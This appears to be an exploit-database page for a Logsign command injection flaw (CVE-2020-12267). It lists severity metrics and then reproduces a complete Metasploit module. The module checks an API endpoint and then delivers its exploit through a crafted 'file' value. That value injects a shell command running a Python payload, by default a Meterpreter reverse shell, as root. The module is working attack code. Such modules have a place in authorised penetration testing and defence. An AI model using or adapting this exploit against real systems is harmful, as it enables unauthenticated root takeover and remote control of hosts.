Exploitalert - Database of Exploits

Logsign Remote Command Injection

CVE	Category	Price	Severity
CVE-2020-12267	CWE-78	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-03-24

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H	0.02004	0.52199

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017030211

Logsign Remote Command Injection## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Logsign Remote Command Injection', 'Description' => %q{ This module exploits an command injection vulnerability in Logsign. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the root user. Logsign has a publicly accessible endpoint. That endpoint takes a user input and then use it during operating system command execution without proper validation. This module was tested against 4.4.2 and 4.4.137 versions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <[email protected]>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/'] ], 'Privileged' => true, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'DefaultOptions' => { 'payload' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Feb 26 2017', 'DefaultTarget' => 0 )) end def check p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"} res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), 'ctype' => 'application/json', 'data' => JSON.generate(p_hash) ) if res && res.body.include?('{"message": "success", "success": true}') Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit print_status("Delivering payload...") p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"} send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), 'ctype' => 'application/json', 'data' => JSON.generate(p_hash) ) end end

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